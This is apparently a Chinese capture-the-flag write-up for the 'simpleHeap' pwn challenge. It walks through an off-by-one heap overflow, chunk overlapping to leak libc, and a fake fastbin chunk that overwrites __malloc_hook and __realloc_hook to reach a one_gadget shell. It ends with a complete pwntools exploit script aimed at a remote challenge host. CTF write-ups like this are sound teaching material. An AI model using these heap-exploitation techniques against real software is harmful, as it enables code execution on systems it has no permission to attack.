• [V&N2020 公开赛]simpleHeap | Extend Chunk & Realloc


    Off by One 造成 Extend Chunk,分配和删除后造成 Chunk overlapping 泄露 libc 地址,用 Fake Chunk 写入 __realloc_hook 和 __malloc_hook 调整栈帧并执行 one_gadget

    静态分析

    Off by One

    int Edit()
    {
      signed int v1; // [rsp+Ch] [rbp-4h]
      printf("idx?");
      v1 = readint();
      if ( v1 < 0 || v1 > 9 || !qword_2020A0[v1] )
        exit(0);
      printf("content:");
      read_str((__int64)qword_2020A0[v1], dword_202060[v1]);
      return puts("Done!");
    }
    

    进入 readstr():

    unsigned __int64 __fastcall readstr(__int64 a1, int a2)
    {
      unsigned __int64 result; // rax
      unsigned int i; // [rsp+1Ch] [rbp-4h]
    
      for ( i = 0; ; ++i )
      {
        result = i;
        if ( (signed int)i > a2 )
          break;
        if ( !read(0, (void *)((signed int)i + a1), 1uLL) )
          exit(0);
        if ( *(_BYTE *)((signed int)i + a1) == 10 )
        {
          result = (signed int)i + a1;
          *(_BYTE *)result = 0;
          return result;
        }
      }
      return result;
    }
    

    读入字符串的边界条件存在问题,对于记录着大小为 a1 的 chunk,可以读入 a2 + 1 个字符

    利用 Off By One 可以覆盖掉物理相邻的下一个堆块 size 的最后一个字节(前提是修改的堆块大小为 0x8 的奇数倍,详见图解)

    即修改了物理相邻的下一个堆块的 size 位,若写入一个较大的数,即可造车给 Chunk Extend (堆块延长)

    具体过程

    首先如图所示分配堆块,最下面的 Chunk 是防止 Top Chunk 向前生长的

    第二步修改 idx0 的内容,溢出一字节覆盖到 idx1 的 size 位,使其伪造成一个总空间为 0xe1 的 Chunk

    在 free(idx1) 之后,由于 size 超出了 fastbin 的范围,所以 idx1 释放后会进入 unsorted bin

    需要注意的是 free 会验证 idx1 + 0xe0 的位置是不是一个 Chunk 头,如果不是会失败,这里是 idx3 的 Header

    unsortbin:
    all: 0x55f1ebc28020 -> 0x7fed444b9b78 (main_arena + 88)
    

    此时再分配一个 0x60 的堆块,由于 fastbin 里没有 Free Chunk,程序会再 unsorted bin 的 idx1 中进行切割,如图:

    切割的过程中,切割出的 idx4(此时索引中还没有) 成为了 unsorted bin 中新的唯一 Chunk,其 fd 指针指向 main_arena + 88

    unsortbin:
    all: 0x55f1ebc28090 -> 0x7fed444b9b78 (main_arena + 88)
    

    注意到此时 idx4(此时索引中还没有) 和 idx2 是同一个堆块,idx4 是我们保存过的,所以可以通过 show(idx) 泄露出 main_arena 地址

    这样就泄露出了 libc 的基址,我们希望通过覆写 __malloc_hook 来控制程序的执行流

    因为此时 idx2 和 idx4 是重叠是,所以一个 edit,一个 allocate 可以实现我们的目的

    首先生成索引中的 idx4(content: 0x60)然后 delete,此时该 Chunk 释放进入了 fastbin

    然后用 idx2 写入 Fake Chunk 的地址到 idx2/idx4 的 fd 中(__malloc_hook-0x23),为什么是这样 看这里

    当我们再两次 allocate 的时候,Fake Chunk 就成功在 __malloc_hook-0x23 生成,我们通过其覆写 __malloc_hook 劫持控制流

    Realloc

    直接用 one_gadget 写入 __malloc_hook 会失败,因为所需 getshell 条件没有被满足

    对于这道题要使用 libc 中的 realloc 函数调整栈帧结构,使栈帧满足 one_gadget 的条件

    __realloc_hook 和 __malloc_hook 有着差不多的含义,即在调用 realloc/hook 的时候会检查 hook 是否为 NULL,如果不是则先执行 hook

    首先要晓得 __realloc_hook 和 __malloc_hook 在物理上的相邻的,所以我们的 payload 可以同时覆写这两者

    即: payload = 'a'*(0x13-0x8) + p64(gadget) + p64(realloc+13)

    这里的 gadget 是写入 __realloc_hook 的,relloc+13 是写入 __malloc_hook 的

    程序的执行流是:__malloc_hook -> realloc+offset -> __realloc_hook -> one_gadget

    结合 realloc 的代码就好理解了

    realloc 在调用 __realloc_hook 之前,首先会执行一系列的 push 压栈,结束前会悉数弹出

    如果我们首先在 relloc+offset 开始执行,少了一些 push,会把栈帧抬高,在最后执行 one_gadget 的时候 esp 的地址会发生改变

    下图是 relloc 和 relloc+4 的调试结果,可以看出 esp 的相对值是增大的

    通过调试构造出 one_gadget 的条件,以此 GetShell

    在这道题中,需要使用 rsp+0x30 这个 one_gadget,并且从 relloc+13 开始执行,远程即可打通

    尽管加载了相同的 libc,但本地的情况不太一样,需要慢慢调整选择正确的 one_gadget 和 realloc+offset

    EXP

    from pwn import *
    #ld_path = '/home/harvey/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/ld-2.23.so'
    #libc_path = '/home/harvey/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so'
    libc_path = './libc-2.23.so'
    elf_path = './vn_pwn_simpleHeap'
    #io = process([ld_path, elf_path], env={'LD_PRELOAD':libc_path})
    io = remote('node3.buuoj.cn', '28315')
    #one_gadget = [0x45206, 0x4525a, 0xef9f4, 0xf0897]
    one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
    libc = ELF(libc_path)
    context.log_level = 'debug'
    
    def debug():
    	gdb.attach(io)
    	pause()
    def cmd(x):
    	io.sendlineafter('choice: ', str(x))
    def add(size, content):
    	cmd(1)
    	io.sendlineafter('size?', str(size))
    	io.sendlineafter('content:', content)
    def edit(idx, content):
    	cmd(2)
    	io.sendlineafter('idx?', str(idx))
    	io.sendlineafter('content:', content)
    def show(idx):
    	cmd(3)
    	io.sendlineafter('idx?', str(idx))
    def delete(idx):
    	cmd(4)
    	io.sendlineafter('idx?', str(idx))
    
    add(0x18, 'aaaa')
    add(0x60, 'aaaa')
    add(0x60, 'aaaa')
    add(0x10, 'aaaa')
    payload = 'a'*0x18 + 'xe1'
    edit(0, payload)
    delete(1)
    add(0x60, 'aaaa')
    show(2)
    main_arena = u64(io.recvuntil('x7f')[-6:].ljust(8,'x00')) - 88
    libc_base = main_arena - 0x3c4b20
    success('main_arena: ' + hex(main_arena))
    success('libc_base: ' + hex(libc_base))
    malloc_hook = libc_base + libc.symbols['__malloc_hook'] 
    realloc = libc_base + libc.symbols['__libc_realloc']
    fake_chunk = malloc_hook - 0x23
    add(0x60, 'aaaa') # 4 and 2
    delete(4)
    payload = p64(fake_chunk)
    edit(2, payload)
    add(0x60, 'aaaa') # 4
    gadget = libc_base + one_gadget[3]
    success('gadget:' + hex(gadget))
    offset = [0x0, 0x2, 0x4, 0x6, 0x8, 0xb, 0xc]
    payload = 'a'*(0x13-0x8) + p64(gadget) + p64(realloc+offset[5])
    # payload = 'a' * 0x13 + p64(gadget)
    add(0x60, payload)
    # success(pidof(io))
    # pause()
    cmd(1)
    io.sendlineafter('size?', '10')
    io.interactive()
    
  • 相关阅读:
    JS图片不间断滚动代码(向上,向下,向左,向右)
    存储过程int型转字符型
    DataList编辑、更新、取消、删除、分页
    js设置焦点
    iFrame只要竖滚动条,不要横滚动条
    C#中通过值和引用传递参数
    关于C#值类型,引用类型,值传递,引用传递
    提醒自我
    c#读取html文件内容替换之后再写入
    sql中替换字符串
  • 原文地址:https://www.cnblogs.com/zhwer/p/14009340.html
Copyright © 2020-2023  润新知